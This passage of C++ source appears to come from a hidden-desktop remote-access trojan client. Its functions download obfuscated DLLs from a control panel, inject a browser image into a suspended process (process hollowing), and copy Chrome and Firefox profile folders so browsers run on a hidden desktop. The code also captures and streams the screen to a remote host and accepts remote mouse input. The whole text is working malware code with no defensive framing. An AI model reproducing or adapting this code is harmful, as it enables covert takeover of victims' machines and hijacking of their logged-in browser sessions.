| } 350 | if(Funcs::pRegOpenKeyExA(HKEY_CURRENT_USER, Strs::exp15, 0, KEY_ALL_ACCESS, &result) == ERROR_SUCCESS) 351 | { 352 | data = 3; 353 | Funcs::pRegSetValueExA(result, Strs::exp16, 0, REG_DWORD, (BYTE *) &data, sizeof(DWORD)); 354 | Funcs::pRegCloseKey(result); 355 | } 356 | } 357 | 358 | void CopyDir(char *from, char *to) 359 | { 360 | char fromWildCard[MAX_PATH] = { 0 }; 361 | Funcs::pLstrcpyA(fromWildCard, from); 362 | Funcs::pLstrcatA(fromWildCard, "\\*"); 363 | 364 | if(!Funcs::pCreateDirectoryA(to, NULL) && Funcs::pGetLastError() != ERROR_ALREADY_EXISTS) 365 | return; 366 | WIN32_FIND_DATAA findData; 367 | HANDLE hFindFile = Funcs::pFindFirstFileA(fromWildCard, &findData); 368 | if(hFindFile == INVALID_HANDLE_VALUE) 369 | return; 370 | 371 | do 372 | { 373 | char currFileFrom[MAX_PATH] = { 0 }; 374 | Funcs::pLstrcpyA(currFileFrom, from); 375 | Funcs::pLstrcatA(currFileFrom, "\\"); 376 | Funcs::pLstrcatA(currFileFrom, findData.cFileName); 377 | 378 | char currFileTo[MAX_PATH] = { 0 }; 379 | Funcs::pLstrcpyA(currFileTo, to); 380 | Funcs::pLstrcatA(currFileTo, "\\"); 381 | Funcs::pLstrcatA(currFileTo, findData.cFileName); 382 | 383 | if 384 | ( 385 | findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY && 386 | Funcs::pLstrcmpA(findData.cFileName, ".") && 387 | Funcs::pLstrcmpA(findData.cFileName, "..") 388 | ) 389 | { 390 | if(Funcs::pCreateDirectoryA(currFileTo, NULL) || Funcs::pGetLastError() == ERROR_ALREADY_EXISTS) 391 | CopyDir(currFileFrom, currFileTo); 392 | } 393 | else 394 | Funcs::pCopyFileA(currFileFrom, currFileTo, FALSE); 395 | } while(Funcs::pFindNextFileA(hFindFile, &findData)); 396 | } 397 | 398 | static BYTE *ReadDll(char *path, char *botId) 399 | { 400 | HANDLE hFile = Funcs::pCreateFileA 401 | ( 402 | path, 403 | GENERIC_READ, 404 | 0, 405 | NULL, 406 | OPEN_EXISTING, 407 | FILE_ATTRIBUTE_NORMAL, 408 | NULL 409 | ); 410 | if(hFile == INVALID_HANDLE_VALUE) 411 | return NULL; 412 | 413 | DWORD fileSize = Funcs::pGetFileSize(hFile, NULL); 414 | if(fileSize < 1024) 415 | return NULL; 416 | 417 | BYTE *contents = (BYTE *) Alloc(fileSize); 418 | DWORD read; 419 | Funcs::pReadFile(hFile, contents, fileSize, &read, NULL); 420 | Obfuscate(contents, fileSize, botId); 421 | if(!VerifyPe(contents, fileSize)) 422 | { 423 | Funcs::pFree(contents); 424 | contents = NULL; 425 | } 426 | Funcs::pCloseHandle(hFile); 427 | return contents; 428 | } 429 | 430 | static void DownloadDll(char *path, BOOL x64, char *botId) 431 | { 432 | char command[32] = { 0 }; 433 | if(!x64) 434 | Funcs::pLstrcpyA(command, Strs::dll32binRequest); 435 | else 436 | Funcs::pLstrcpyA(command, Strs::dll64binRequest); 437 | 438 | int dllSize; 439 | BYTE *dll; 440 | for(;;) 441 | { 442 | dll = (BYTE *) PanelRequest(command, &dllSize); 443 | if(VerifyPe(dll, dllSize)) 444 | break; 445 | Funcs::pFree(dll); 446 | Funcs::pSleep(POLL); 447 | } 448 | Obfuscate(dll, dllSize, botId); 449 | HANDLE hFile = Funcs::pCreateFileA 450 | ( 451 | path, 452 | GENERIC_WRITE, 453 | 0, 454 | NULL, 455 | CREATE_ALWAYS, 456 | FILE_ATTRIBUTE_NORMAL, 457 | NULL 458 | ); 459 | DWORD written; 460 | Funcs::pWriteFile(hFile, dll, dllSize, &written, NULL); 461 | Funcs::pCloseHandle(hFile); 462 | Funcs::pFree(dll); 463 | } 464 | 465 | void GetTempPathBotPrefix(char *path) 466 | { 467 | Funcs::pGetTempPathA(MAX_PATH, path); 468 | char botId[BOT_ID_LEN] = { 0 }; 469 | GetBotId(botId); 470 | Funcs::pLstrcatA(path, botId); 471 | } 472 | 473 | static HANDLE hX86 = NULL; 474 | static HANDLE hX64 = NULL; 475 | 476 | void GetDlls(BYTE **x86, BYTE **x64, BOOL update) 477 | { 478 | char x86cachePath[MAX_PATH] = { 0 }; 479 | char x64cachePath[MAX_PATH] = { 0 }; 480 | char cachePath[MAX_PATH] = { 0 }; 481 | char botId[BOT_ID_LEN] = { 0 }; 482 | SYSTEM_INFO info = { 0 }; 483 | 484 | GetBotId(botId); 485 | Funcs::pGetNativeSystemInfo(&info); 486 | 487 | GetTempPathBotPrefix(cachePath); 488 | Funcs::pLstrcpyA(x86cachePath, cachePath); 489 | Funcs::pLstrcatA(x86cachePath, Strs::dll32cachePrefix); 490 | 491 | if(update) 492 | { 493 | Funcs::pCloseHandle(hX86); 494 | DownloadDll(x86cachePath, FALSE, botId); 495 | hX86 = Funcs::pCreateFileA(x86cachePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); 496 | } 497 | else 498 | { 499 | while(!(*x86 = ReadDll(x86cachePath, botId))) 500 | DownloadDll(x86cachePath, FALSE, botId); 501 | } 502 | 503 | if(info.wProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64 || (x64 == NULL && !update)) 504 | return; 505 | 506 | Funcs::pLstrcpyA(x64cachePath, cachePath); 507 | Funcs::pLstrcatA(x64cachePath, Strs::dll64cachePrefix); 508 | 509 | if(update) 510 | { 511 | Funcs::pCloseHandle(hX64); 512 | DownloadDll(x86cachePath, TRUE, botId); 513 | hX64 = Funcs::pCreateFileA(x64cachePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); 514 | } 515 | else 516 | { 517 | while(!(*x64 = ReadDll(x64cachePath, botId))) 518 | DownloadDll(x64cachePath, TRUE, botId); 519 | } 520 | } 521 | 522 | DWORD BypassTrusteer(PROCESS_INFORMATION *processInfoParam, char *browserPath, char *browserCommandLine) 523 | { 524 | HANDLE hBrowser = Funcs::pCreateFileA 525 | ( 526 | browserPath, 527 | GENERIC_READ, 528 | 0, 529 | NULL, 530 | OPEN_EXISTING, 531 | FILE_ATTRIBUTE_NORMAL, 532 | NULL 533 | ); 534 | 535 | if(hBrowser == INVALID_HANDLE_VALUE) 536 | return NULL; 537 | 538 | BOOL ret = NULL; 539 | DWORD read; 540 | DWORD browserSize = Funcs::pGetFileSize(hBrowser, NULL); 541 | BYTE *browser = (BYTE *) Alloc(browserSize); 542 | 543 | Funcs::pReadFile(hBrowser, browser, browserSize, &read, NULL); 544 | Funcs::pCloseHandle(hBrowser); 545 | 546 | STARTUPINFOA startupInfo = { 0 }; 547 | PROCESS_INFORMATION processInfo = { 0 }; 548 | if(!processInfoParam) 549 | { 550 | Funcs::pCreateProcessA 551 | ( 552 | browserPath, 553 | browserCommandLine, 554 | NULL, 555 | NULL, 556 | FALSE, 557 | CREATE_SUSPENDED, 558 | NULL, 559 | NULL, 560 | &startupInfo, 561 | &processInfo 562 | ); 563 | } 564 | else 565 | processInfo = *processInfoParam; 566 | 567 | IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *) browser; 568 | IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *) (browser + dosHeader->e_lfanew); 569 | IMAGE_SECTION_HEADER *sectionHeader = (IMAGE_SECTION_HEADER *) (ntHeaders + 1); 570 | PROCESS_BASIC_INFORMATION processBasicInfo = { 0 }; 571 | CONTEXT context = { 0 }; 572 | DWORD retSize; 573 | 574 | context.ContextFlags = CONTEXT_FULL; 575 | if(!Funcs::pGetThreadContext(processInfo.hThread, &context)) 576 | goto exit; 577 | 578 | PVOID remoteAddress = Funcs::pVirtualAllocEx 579 | ( 580 | processInfo.hProcess, 581 | LPVOID(ntHeaders->OptionalHeader.ImageBase), 582 | ntHeaders->OptionalHeader.SizeOfImage, 583 | 0x3000, 584 | PAGE_EXECUTE_READWRITE 585 | ); 586 | if(!Funcs::pWriteProcessMemory(processInfo.hProcess, remoteAddress, browser, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) 587 | goto exit; 588 | for(int i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i) 589 | { 590 | if(!Funcs::pWriteProcessMemory 591 | ( 592 | processInfo.hProcess, 593 | LPVOID(DWORD64(remoteAddress) + sectionHeader[i].VirtualAddress), 594 | browser + sectionHeader[i].PointerToRawData, 595 | sectionHeader[i].SizeOfRawData, 596 | NULL 597 | )) goto exit; 598 | } 599 | 600 | Funcs::pNtQueryInformationProcess(processInfo.hProcess, (LPVOID) 0, &processBasicInfo, sizeof(processBasicInfo), &retSize); 601 | 602 | if(!Funcs::pWriteProcessMemory(processInfo.hProcess, LPVOID(DWORD64(processBasicInfo.PebBaseAddress) + sizeof(LPVOID) * 2), &remoteAddress, sizeof(LPVOID), NULL)) 603 | goto exit; 604 | #ifndef _WIN64 605 | context.Eax = (DWORD) remoteAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint; 606 | #else 607 | context.Rcx = (DWORD64) remoteAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint; 608 | #endif 609 | 610 | if(!Funcs::pSetThreadContext(processInfo.hThread, &context)) 611 | goto exit; 612 | Funcs::pResumeThread(processInfo.hThread); 613 | ret = processInfo.dwProcessId; 614 | exit: 615 | Funcs::pCloseHandle(processInfo.hProcess); 616 | Funcs::pCloseHandle(processInfo.hThread); 617 | Funcs::pFree(browser); 618 | return ret; 619 | } -------------------------------------------------------------------------------- /Client/HiddenDesktop.cpp: -------------------------------------------------------------------------------- 1 | #include "HiddenDesktop.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #pragma comment (lib,"Gdiplus.Lib") 10 | using namespace Gdiplus; 11 | 12 | enum Connection { desktop, input }; 13 | enum Input { mouse }; 14 | 15 | static const BYTE gc_magik[] = { 'M', 'E', 'L', 'T', 'E', 'D', 0 }; 16 | static const COLORREF gc_trans = RGB(255, 174, 201); 17 | static const CLSID jpegID = { 0x557cf401, 0x1a04, 0x11d3,{ 0x9a,0x73,0x00,0x00,0xf8,0x1e,0xf3,0x2e } }; // id of jpeg format 18 | 19 | enum WmStartApp { startExplorer = WM_USER + 1, startRun, startChrome, startEdge, startBrave, startFirefox, startIexplore, startPowershell }; 20 | 21 | static int g_port; 22 | static char g_host[MAX_PATH]; 23 | static BOOL g_started = FALSE; 24 | static BYTE *g_pixels = NULL; 25 | static BYTE *g_oldPixels = NULL; 26 | static BYTE *g_tempPixels = NULL; 27 | static HDESK g_hDesk; 28 | static BITMAPINFO g_bmpInfo; 29 | static HANDLE g_hInputThread, g_hDesktopThread; 30 | static char g_desktopName[MAX_PATH]; 31 | static ULARGE_INTEGER lisize; 32 | static LARGE_INTEGER offset; 33 | 34 | void BitmapToJpg(HDC *hDc, HBITMAP *hbmpImage, int width, int height) 35 | { 36 | static ULONG_PTR gdiplusToken; 37 | GdiplusStartupInput gdiplusStartupInput; 38 | GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL); 39 | Funcs::pSelectObject(*hDc, hbmpImage); 40 | Funcs::pBitBlt(*hDc, 0, 0, width, height, GetDC(0), 0, 0, SRCCOPY); 41 | 42 | IStream *jpegStream = NULL; 43 | CreateStreamOnHGlobal(NULL, TRUE, &jpegStream); 44 | Bitmap *Image = Bitmap::FromHBITMAP(*hbmpImage, NULL); 45 | Image->Save(jpegStream, &jpegID, NULL); 46 | 47 | Bitmap *JPEG = Bitmap::FromStream(jpegStream); 48 | HBITMAP compressedImage; 49 | JPEG->GetHBITMAP(Color::White, &compressedImage); 50 | Funcs::pGetDIBits(*hDc, compressedImage, 0, height, g_pixels, (BITMAPINFO *)&g_bmpInfo, DIB_RGB_COLORS); 51 | //GdiplusShutdown(gdiplusToken); 52 | delete Image, jpegStream; 53 | } 54 | 55 | static BOOL PaintWindow(HWND hWnd, HDC hDc, HDC hDcScreen) 56 | { 57 | BOOL ret = FALSE; 58 | RECT rect; 59 | Funcs::pGetWindowRect(hWnd, &rect); 60 | 61 | HDC hDcWindow = Funcs::pCreateCompatibleDC(hDc); 62 | HBITMAP hBmpWindow = Funcs::pCreateCompatibleBitmap(hDc, rect.right - rect.left, rect.bottom - rect.top); 63 | 64 | Funcs::pSelectObject(hDcWindow, hBmpWindow); 65 | if (Funcs::pPrintWindow(hWnd, hDcWindow, 0)) 66 | { 67 | Funcs::pBitBlt(hDcScreen, 68 | rect.left, 69 | rect.top, 70 | rect.right - rect.left, 71 | rect.bottom - rect.top, 72 | hDcWindow, 73 | 0, 74 | 0, 75 | SRCCOPY); 76 | 77 | ret = TRUE; 78 | } 79 | Funcs::pDeleteObject(hBmpWindow); 80 | Funcs::pDeleteDC(hDcWindow); 81 | return ret; 82 | } 83 | 84 | static void EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param) 85 | { 86 | HWND currentWindow = Funcs::pGetTopWindow(owner); 87 | if (currentWindow == NULL) 88 | return; 89 | if ((currentWindow = Funcs::pGetWindow(currentWindow, GW_HWNDLAST)) == NULL) 90 | return; 91 | while (proc(currentWindow, param) && (currentWindow = Funcs::pGetWindow(currentWindow, GW_HWNDPREV)) != NULL); 92 | } 93 | 94 | struct EnumHwndsPrintData 95 | { 96 | HDC hDc; 97 | HDC hDcScreen; 98 | }; 99 | 100 | static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) 101 | { 102 | EnumHwndsPrintData *data = (EnumHwndsPrintData *)lParam; 103 | 104 | if (!Funcs::pIsWindowVisible(hWnd)) 105 | return TRUE; 106 | 107 | PaintWindow(hWnd, data->hDc, data->hDcScreen); 108 | 109 | DWORD style = Funcs::pGetWindowLongA(hWnd, GWL_EXSTYLE); 110 | Funcs::pSetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED); 111 | 112 | OSVERSIONINFO versionInfo; 113 | versionInfo.dwOSVersionInfoSize = sizeof(versionInfo); 114 | Funcs::pGetVersionExA(&versionInfo); 115 | if (versionInfo.dwMajorVersion < 6) 116 | EnumWindowsTopToDown(hWnd, EnumHwndsPrint, (LPARAM)data); 117 | return TRUE; 118 | } 119 | 120 | static BOOL GetDeskPixels(int serverWidth, int serverHeight) 121 | { 122 | RECT rect; 123 | HWND hWndDesktop = Funcs::pGetDesktopWindow(); 124 | Funcs::pGetWindowRect(hWndDesktop, &rect); 125 | 126 | HDC hDc = Funcs::pGetDC(NULL); 127 | HDC hDcScreen = Funcs::pCreateCompatibleDC(hDc); 128 | HBITMAP hBmpScreen = Funcs::pCreateCompatibleBitmap(hDc, rect.right, rect.bottom); 129 | Funcs::pSelectObject(hDcScreen, hBmpScreen); 130 | 131 | EnumHwndsPrintData data; 132 | data.hDc = hDc; 133 | data.hDcScreen = hDcScreen; 134 | 135 | EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&data); 136 | 137 | if (serverWidth > rect.right) 138 | serverWidth = rect.right; 139 | if (serverHeight > rect.bottom) 140 | serverHeight = rect.bottom; 141 | 142 | if (serverWidth != rect.right || serverHeight != rect.bottom) 143 | { 144 | HBITMAP hBmpScreenResized = Funcs::pCreateCompatibleBitmap(hDc, serverWidth, serverHeight); 145 | HDC hDcScreenResized = Funcs::pCreateCompatibleDC(hDc); 146 | 147 | Funcs::pSelectObject(hDcScreenResized, hBmpScreenResized); 148 | Funcs::pSetStretchBltMode(hDcScreenResized, HALFTONE); 149 | Funcs::pStretchBlt(hDcScreenResized, 0, 0, serverWidth, serverHeight, 150 | hDcScreen, 0, 0, rect.right, rect.bottom, SRCCOPY); 151 | 152 | Funcs::pDeleteObject(hBmpScreen); 153 | Funcs::pDeleteDC(hDcScreen); 154 | 155 | hBmpScreen = hBmpScreenResized; 156 | hDcScreen = hDcScreenResized; 157 | } 158 | 159 | BOOL comparePixels = TRUE; 160 | g_bmpInfo.bmiHeader.biSizeImage = serverWidth * 3 * serverHeight; 161 | 162 | if (g_pixels == NULL || (g_bmpInfo.bmiHeader.biWidth != serverWidth || g_bmpInfo.bmiHeader.biHeight != serverHeight)) 163 | { 164 | Funcs::pFree((HLOCAL)g_pixels); 165 | Funcs::pFree((HLOCAL)g_oldPixels); 166 | Funcs::pFree((HLOCAL)g_tempPixels); 167 | 168 | g_pixels = (BYTE *)Alloc(g_bmpInfo.bmiHeader.biSizeImage); 169 | g_oldPixels = (BYTE *)Alloc(g_bmpInfo.bmiHeader.biSizeImage); 170 | g_tempPixels = (BYTE *)Alloc(g_bmpInfo.bmiHeader.biSizeImage); 171 | 172 | comparePixels = FALSE; 173 | } 174 | 175 | g_bmpInfo.bmiHeader.biWidth = serverWidth; 176 | g_bmpInfo.bmiHeader.biHeight = serverHeight; 177 | //Funcs::pGetDIBits(hDcScreen, hBmpScreen, 0, serverHeight, g_pixels, &g_bmpInfo, DIB_RGB_COLORS); 178 | BitmapToJpg(&hDcScreen, &hBmpScreen, serverWidth, serverHeight); 179 | 180 | Funcs::pDeleteObject(hBmpScreen); 181 | Funcs::pReleaseDC(NULL, hDc); 182 | Funcs::pDeleteDC(hDcScreen); 183 | 184 | if (comparePixels) 185 | { 186 | for (DWORD i = 0; i < g_bmpInfo.bmiHeader.biSizeImage; i += 3) 187 | { 188 | if (g_pixels[i] == GetRValue(gc_trans) && 189 | g_pixels[i + 1] == GetGValue(gc_trans) && 190 | g_pixels[i + 2] == GetBValue(gc_trans)) 191 | { 192 | ++g_pixels[i + 1]; 193 | } 194 | } 195 | 196 | Funcs::pMemcpy(g_tempPixels, g_pixels, g_bmpInfo.bmiHeader.biSizeImage); 197 | 198 | BOOL same = TRUE; 199 | for (DWORD i = 0; i < g_bmpInfo.bmiHeader.biSizeImage - 1; i += 3) 200 | { 201 | if (g_pixels[i] == g_oldPixels[i] && 202 | g_pixels[i + 1] == g_oldPixels[i + 1] && 203 | g_pixels[i + 2] == g_oldPixels[i + 2]) 204 | { 205 | g_pixels[i] = GetRValue(gc_trans); 206 | g_pixels[i + 1] = GetGValue(gc_trans); 207 | g_pixels[i + 2] = GetBValue(gc_trans); 208 | } 209 | else 210 | same = FALSE; 211 | } 212 | if (same) 213 | return TRUE; 214 | 215 | Funcs::pMemcpy(g_oldPixels, g_tempPixels, g_bmpInfo.bmiHeader.biSizeImage); 216 | } 217 | else 218 | Funcs::pMemcpy(g_oldPixels, g_pixels, g_bmpInfo.bmiHeader.biSizeImage); 219 | return FALSE; 220 | } 221 | 222 | static SOCKET ConnectServer() 223 | { 224 | WSADATA wsa; 225 | SOCKET s; 226 | SOCKADDR_IN addr; 227 | 228 | if (Funcs::pWSAStartup(MAKEWORD(2, 2), &wsa) != 0) 229 | return NULL; 230 | if ((s = Funcs::pSocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) 231 | return NULL; 232 | 233 | hostent *he = Funcs::pGethostbyname(g_host); 234 | Funcs::pMemcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); 235 | addr.sin_family = AF_INET; 236 | addr.sin_port = Funcs::pHtons(g_port); 237 | 238 | if (Funcs::pConnect(s, (sockaddr *)&addr, sizeof(addr)) < 0) 239 | return NULL; 240 | 241 | return s; 242 | } 243 | 244 | static int SendInt(SOCKET s, int i) 245 | { 246 | return Funcs::pSend(s, (char *)&i, sizeof(i), 0); 247 | } 248 | 249 | static DWORD WINAPI DesktopThread(LPVOID param) 250 | { 251 | SOCKET s = ConnectServer(); 252 | 253 | if (!Funcs::pSetThreadDesktop(g_hDesk)) 254 | goto exit; 255 | 256 | if (Funcs::pSend(s, (char *)gc_magik, sizeof(gc_magik), 0) <= 0) 257 | goto exit; 258 | if (SendInt(s, Connection::desktop) <= 0) 259 | goto exit; 260 | 261 | for (;;) 262 | { 263 | int width, height; 264 | 265 | if (Funcs::pRecv(s, (char *)&width, sizeof(width), 0) <= 0) 266 | goto exit; 267 | if (Funcs::pRecv(s, (char *)&height, sizeof(height), 0) <= 0) 268 | goto exit; 269 | 270 | BOOL same = GetDeskPixels(width, height); 271 | if (same) 272 | { 273 | if (SendInt(s, 0) <= 0) 274 | goto exit; 275 | continue; 276 | } 277 | 278 | if (SendInt(s, 1) <= 0) 279 | goto exit; 280 | 281 | DWORD workSpaceSize; 282 | DWORD fragmentWorkSpaceSize; 283 | Funcs::pRtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, &workSpaceSize, &fragmentWorkSpaceSize); 284 | BYTE *workSpace = (BYTE *)Alloc(workSpaceSize); 285 | 286 | DWORD size; 287 | Funcs::pRtlCompressBuffer(COMPRESSION_FORMAT_LZNT1, 288 | g_pixels, 289 | g_bmpInfo.bmiHeader.biSizeImage, 290 | g_tempPixels, 291 | g_bmpInfo.bmiHeader.biSizeImage, 292 | 2048, 293 | &size, 294 | workSpace); 295 | 296 | Funcs::pFree(workSpace); 297 | 298 | RECT rect; 299 | HWND hWndDesktop = Funcs::pGetDesktopWindow(); 300 | Funcs::pGetWindowRect(hWndDesktop, &rect); 301 | if (SendInt(s, rect.right) <= 0) 302 | goto exit; 303 | if (SendInt(s, rect.bottom) <= 0) 304 | goto exit; 305 | if (SendInt(s, g_bmpInfo.bmiHeader.biWidth) <= 0) 306 | goto exit; 307 | if (SendInt(s, g_bmpInfo.bmiHeader.biHeight) <= 0) 308 | goto exit; 309 | if (SendInt(s, size) <= 0) 310 | goto exit; 311 | if (Funcs::pSend(s, (char *)g_tempPixels, size, 0) <= 0) 312 | goto exit; 313 | 314 | DWORD response; 315 | if (Funcs::pRecv(s, (char *)&response, sizeof(response), 0) <= 0) 316 | goto exit; 317 | } 318 | 319 | exit: 320 | Funcs::pTerminateThread(g_hInputThread, 0); 321 | return 0; 322 | } 323 | 324 | static void killproc(const char* name) 325 | { 326 | HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); 327 | PROCESSENTRY32 pEntry; 328 | pEntry.dwSize = sizeof(pEntry); 329 | BOOL hRes = Process32First(hSnapShot, &pEntry); 330 | while (hRes) 331 | { 332 | if (strcmp(pEntry.szExeFile, name) == 0) 333 | { 334 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, 335 | (DWORD)pEntry.th32ProcessID); 336 | if (hProcess != NULL) 337 | { 338 | TerminateProcess(hProcess, 9); 339 | CloseHandle(hProcess); 340 | } 341 | } 342 | hRes = Process32Next(hSnapShot, &pEntry); 343 | } 344 | CloseHandle(hSnapShot); 345 | } 346 | 347 | static void StartChrome() 348 | { 349 | char chromePath[MAX_PATH] = { 0 }; 350 | Funcs::pSHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath); 351 | Funcs::pLstrcatA(chromePath, Strs::hd7); 352 | 353 | char dataPath[MAX_PATH] = { 0 }; 354 | Funcs::pLstrcpyA(dataPath, chromePath); 355 | Funcs::pLstrcatA(dataPath, Strs::hd10); 356 | 357 | char botId[BOT_ID_LEN] = { 0 }; 358 | char newDataPath[MAX_PATH] = { 0 }; 359 | Funcs::pLstrcpyA(newDataPath, chromePath); 360 | GetBotId(botId); 361 | Funcs::pLstrcatA(newDataPath, botId); 362 | 363 | CopyDir(dataPath, newDataPath); 364 | 365 | char path[MAX_PATH] = { 0 }; 366 | Funcs::pLstrcpyA(path, Strs::hd8); 367 | Funcs::pLstrcatA(path, Strs::chromeExe); 368 | Funcs::pLstrcatA(path, Strs::hd9); 369 | Funcs::pLstrcatA(path, "\""); 370 | Funcs::pLstrcatA(path, newDataPath); 371 | 372 | STARTUPINFOA startupInfo = { 0 }; 373 | startupInfo.cb = sizeof(startupInfo); 374 | startupInfo.lpDesktop = g_desktopName; 375 | PROCESS_INFORMATION processInfo = { 0 }; 376 | Funcs::pCreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 377 | } 378 | 379 | static void StartEdge() 380 | { 381 | char path[MAX_PATH] = { 0 }; 382 | Funcs::pLstrcpyA(path, Strs::hd8); 383 | Funcs::pLstrcatA(path, Strs::edgeExe); 384 | Funcs::pLstrcatA(path, Strs::hd9); 385 | 386 | STARTUPINFOA startupInfo = { 0 }; 387 | startupInfo.cb = sizeof(startupInfo); 388 | startupInfo.lpDesktop = g_desktopName; 389 | PROCESS_INFORMATION processInfo = { 0 }; 390 | Funcs::pCreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 391 | } 392 | 393 | static void StartBrave() 394 | { 395 | killproc("brave.exe"); 396 | char path[MAX_PATH] = { 0 }; 397 | Funcs::pLstrcpyA(path, Strs::hd8); 398 | Funcs::pLstrcatA(path, Strs::braveExe); 399 | Funcs::pLstrcatA(path, Strs::hd9); 400 | 401 | STARTUPINFOA startupInfo = { 0 }; 402 | startupInfo.cb = sizeof(startupInfo); 403 | startupInfo.lpDesktop = g_desktopName; 404 | PROCESS_INFORMATION processInfo = { 0 }; 405 | Funcs::pCreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 406 | } 407 | 408 | static void StartFirefox() 409 | { 410 | char firefoxPath[MAX_PATH] = { 0 }; 411 | Funcs::pSHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath); 412 | Funcs::pLstrcatA(firefoxPath, Strs::hd11); 413 | 414 | char profilesIniPath[MAX_PATH] = { 0 }; 415 | Funcs::pLstrcpyA(profilesIniPath, firefoxPath); 416 | Funcs::pLstrcatA(profilesIniPath, Strs::hd5); 417 | 418 | HANDLE hProfilesIni = CreateFileA 419 | ( 420 | profilesIniPath, 421 | FILE_READ_ACCESS, 422 | FILE_SHARE_READ | FILE_SHARE_WRITE, 423 | NULL, 424 | OPEN_EXISTING, 425 | FILE_ATTRIBUTE_NORMAL, 426 | NULL 427 | ); 428 | if (hProfilesIni == INVALID_HANDLE_VALUE) 429 | return; 430 | 431 | DWORD profilesIniSize = GetFileSize(hProfilesIni, 0); 432 | DWORD read; 433 | char *profilesIniContent = (char *)Alloc(profilesIniSize + 1); 434 | ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL); 435 | profilesIniContent[profilesIniSize] = 0; 436 | 437 | char *isRelativeRead = Funcs::pStrStrA(profilesIniContent, Strs::hd12); 438 | if (!isRelativeRead) 439 | goto exit; 440 | isRelativeRead += 11; 441 | BOOL isRelative = (*isRelativeRead == '1'); 442 | 443 | char *path = Funcs::pStrStrA(profilesIniContent, Strs::hd13); 444 | if (!path) 445 | goto exit; 446 | char *pathEnd = Funcs::pStrStrA(path, "\r"); 447 | if (!pathEnd) 448 | goto exit; 449 | *pathEnd = 0; 450 | path += 5; 451 | 452 | char realPath[MAX_PATH] = { 0 }; 453 | if (isRelative) 454 | Funcs::pLstrcpyA(realPath, firefoxPath); 455 | Funcs::pLstrcatA(realPath, path); 456 | 457 | char botId[BOT_ID_LEN]; 458 | GetBotId(botId); 459 | 460 | char newPath[MAX_PATH]; 461 | Funcs::pLstrcpyA(newPath, firefoxPath); 462 | Funcs::pLstrcatA(newPath, botId); 463 | 464 | CopyDir(realPath, newPath); 465 | 466 | char browserPath[MAX_PATH] = { 0 }; 467 | Funcs::pLstrcpyA(browserPath, Strs::hd8); 468 | Funcs::pLstrcatA(browserPath, Strs::firefoxExe); 469 | Funcs::pLstrcatA(browserPath, Strs::hd14); 470 | Funcs::pLstrcatA(browserPath, "\""); 471 | Funcs::pLstrcatA(browserPath, newPath); 472 | Funcs::pLstrcatA(browserPath, "\""); 473 | 474 | STARTUPINFOA startupInfo = { 0 }; 475 | startupInfo.cb = sizeof(startupInfo); 476 | startupInfo.lpDesktop = g_desktopName; 477 | PROCESS_INFORMATION processInfo = { 0 }; 478 | Funcs::pCreateProcessA(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 479 | 480 | exit: 481 | Funcs::pCloseHandle(hProfilesIni); 482 | Funcs::pFree(profilesIniContent); 483 | 484 | } 485 | 486 | static void StartPowershell() 487 | { 488 | char path[MAX_PATH] = { 0 }; 489 | Funcs::pLstrcpyA(path, Strs::hd8); 490 | Funcs::pLstrcatA(path, Strs::powershell); 491 | 492 | STARTUPINFOA startupInfo = { 0 }; 493 | startupInfo.cb = sizeof(startupInfo); 494 | startupInfo.lpDesktop = g_desktopName; 495 | PROCESS_INFORMATION processInfo = { 0 }; 496 | Funcs::pCreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 497 | } 498 | 499 | static void StartIe() 500 | { 501 | char path[MAX_PATH] = { 0 }; 502 | Funcs::pLstrcpyA(path, Strs::hd8); 503 | Funcs::pLstrcatA(path, Strs::iexploreExe); 504 | 505 | STARTUPINFOA startupInfo = { 0 }; 506 | startupInfo.cb = sizeof(startupInfo); 507 | startupInfo.lpDesktop = g_desktopName; 508 | PROCESS_INFORMATION processInfo = { 0 }; 509 | Funcs::pCreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 510 | } 511 | 512 | static DWORD WINAPI InputThread(LPVOID param) 513 | { 514 | SOCKET s = ConnectServer(); 515 | 516 | Funcs::pSetThreadDesktop(g_hDesk); 517 | 518 | if (Funcs::pSend(s, (char *)gc_magik, sizeof(gc_magik), 0) <= 0) 519 | return 0; 520 | if (SendInt(s, Connection::input) <= 0) 521 | return 0; 522 | 523 | DWORD response; 524 | if (!Funcs::pRecv(s, (char *)&response, sizeof(response), 0)) 525 | return 0; 526 | 527 | g_hDesktopThread = Funcs::pCreateThread(NULL, 0, DesktopThread, NULL, 0, 0); 528 | 529 | POINT lastPoint; 530 | BOOL lmouseDown = FALSE; 531 | HWND hResMoveWindow = NULL; 532 | 